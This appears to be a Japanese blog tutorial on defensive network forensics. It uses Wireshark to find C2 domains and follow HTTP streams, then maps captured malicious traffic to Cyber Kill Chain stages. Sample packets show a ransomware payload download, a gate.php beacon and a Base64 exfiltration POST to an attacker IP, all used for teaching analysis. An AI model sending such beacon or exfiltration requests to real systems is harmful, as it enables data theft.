こんにちは、デジタル世界の盗聴専門家(?)の皆さん!🕵️♂️🎧
前回まで、私たちはマルウェアをPC内で実行させ、どのような挙動をするのかを観察しました(動的解析)。ファイルを作成したり、レジストリを操作したりするのを確認しましたね。
しかし、マルウェア解析の「最後の仕上げ」は、まさにネットワーク解析です。マルウェアは単独で動くことはありません。必ずハッカーの拠点であるC&C(Command & Control)サーバーと通信し、命令を受け取り、盗んだ情報を外部に送信します。
まるでスパイが敵陣に潜入し、本部へ無線を打つようなものです。📻私たちはこの無線内容(パケット)を傍受し、「一体どのような情報が盗まれたのか」、「攻撃がどの段階まで進んだのか」を把握する必要があります。
本日は、Wireshark(ワイヤーシャーク)を活用して悪性パケットを解析し、それをサイバーキルチェーン(Cyber Kill Chain)の段階別に分類する実習を行います。🦈

1. 📡 C&C通信とキルチェーン(Kill Chain)の関係
解析に先立ち、私たちが確認するパケットが攻撃のどの段階にあるのかを知ることが重要です。ネットワークの観点から、キルチェーンは大きく3つの段階に分けられます。
- インストール (Installation): マルウェアが追加ファイル(Payload)をダウンロードする段階。
- コマンド&コントロール (C2): 「生きているよ!」という信号(Heartbeat)を送ったり、ハッカーからの命令を待機する段階。
- 行動開始 (Action on Objectives): キーロギングした情報や文書をハッカーサーバーへ送信(Exfiltration)する段階。
私たちの目標は、パケットを見てこの3つを区別することです。
2. 🛠️ [準備物] パケットキャプチャファイル (PCAP)
前回の動的解析実習の際に、サンドボックスで実行しながら同時にパケットをキャプチャしていればベストです。あるいは、Malware-Traffic-Analysis.netのようなサイトで教育用PCAPファイルを入手することもできます。
- ツール: Wireshark (パケット解析の王者)
- ファイル: infected_log.pcap (悪性通信が含まれるファイル)
3. 🦈 [実習 Step 1] 接続先の確認: 「どこに電話をかけたのか?」 (DNS)
最初に確認すべきはDNSクエリです。マルウェアは通常、IPアドレスよりもドメイン名(例: bad-hacker.com)を探します。
- フィルター入力: Wireshark上部のフィルターバーに dns と入力します。
- パケット確認: Standard query の部分を確認します。
- google.com, microsoft.com は無視します(正常)。
- 不審なドメインを探してください!
- 例: xkwz-update-server.biz, api.telegram.org (TelegramをC2として使用する場合)
🕵️♂️ 分析ポイントもしドメイン名が a1b2c3d4e5.com のようにランダムな文字列だったら?
DGA(ドメイン生成アルゴリズム)を使用したマルウェアである可能性が非常に高いです!
4. 📦 [実習 Step 2] 会話内容の盗聴: HTTP/TCPストリーム分析
疑わしいドメインのIPアドレスを見つけたら(例: 192.168.10.100)、次に具体的にどのようなデータが送受信されたかを確認します。
- フィルター入力: ip.addr == 192.168.10.100 && http (HTTPSであればTLSとして表示されますが、本日は教育用HTTP基準)
- ストリーム追跡: パケットリストで右クリック -> Follow -> TCP Stream (または HTTP Stream) をクリックします。
- 会話内容の確認:
- 赤色: こちらが送信したデータ (Request)
- 青色: サーバーが送信したデータ (Response)
5. ⛓️ [実習 Step 3] キルチェーン段階別パケット分類 (AI活用)
TCPストリームウィンドウには、まるで宇宙語のようなデータが表示されるでしょう。この時、AIの助けを借りれば、驚くほど正確に解釈してくれます。パケットの内容をコピーしてAIに尋ねてみましょう!
🟢 状況 1: 追加マルウェアのダウンロード (Installation段階)
- パケット内容:
- `GET /payload/ransom.exe HTTP/1.1
Host: 192.168.10.100
User-Agent: Mozilla/5.0…`
- AI分析依頼: 「このHTTPリクエストが意味することは何ですか?」
- AI回答: 「ユーザーがサーバーから ransom.exe という実行ファイルをダウンロードしています。これはキルチェーンのInstallation(インストール)段階に該当します。」
🟡 状況 2: ゾンビPCの報告 (C2段階)
- パケット内容:
- `POST /gate.php HTTP/1.1
Content-Length: 15
id=12345&os=win10`
- AI分析依頼: 「このPOSTリクエストの目的は何でしょうか?」
- AI回答: 「感染したPCが自身のIDとOS情報をハッカーサーバー(gate.php)に登録しています。これは攻撃準備が完了したことを知らせるCommand and Control(C2)段階のビーコン信号です。」
🔴 状況 3: 情報流出 (Action on Objectives段階)
- パケット内容:
- HTTP
- `POST /upload HTTP/1.1
data=V2UgaGF2ZSB5b3VyIHBhc3N3b3JkIQ==`
- AI分析依頼: 「ここのdataパラメータの値はBase64でエンコードされているようです。デコードして内容と攻撃段階を教えてください。」
- AI回答:
- デコード結果: “We have your password!”
- 分析: 「被害者の重要な情報を外部に持ち出す行為です。キルチェーンの最終段階であるAction on Objectives(目標達成/情報流出)に該当します。」
6. 📊 [結果整理] 攻撃シナリオの完成
ネットワーク分析を通じて、私たちは漠然としていた攻撃の流れを証拠に基づいたシナリオとして完成させることができます。
📝 ネットワークフォレンジック要約
>
1. [14:00] Installation: 悪性ドメイン(mal-site.com)から payload.exe のダウンロードを確認。
2. [14:02] C2 Establishment: 感染PC情報(OS, IP)をC2サーバーへ送信し、接続を確立。
3. [14:05] Action on Objectives: passwords.txt ファイル内容のPOST方式による流出試行を確認。
🎉 終わりに: ハッカーの声を聞いた!
おめでとうございます!👏 皆さんはこれで、PC内部(ホスト)だけでなく、目に見えない線(ネットワーク)を伝って流れるハッカーの密かな会話まで盗聴する技術を習得しました。
- ファイル分析が「指紋鑑定」だとすれば、
- パケット分析は「通話履歴照会」のようなものです。
この二つの証拠が合わされば、ハッカーはもう隠れる場所がありません。😎
さあ、これで本当に9合目を越えました。すべての分析は終了です。あとはこの華やかな分析結果を整理して報告するだけです。
次回は、このシリーズの最終章!「[最終] AIを利用して専門家級のマルウェア分析報告書(PDF)を自動生成する」でお会いしましょう。皆さんの努力が素晴らしい文書として誕生する瞬間を楽しみにしていてください!👋
コメントを残す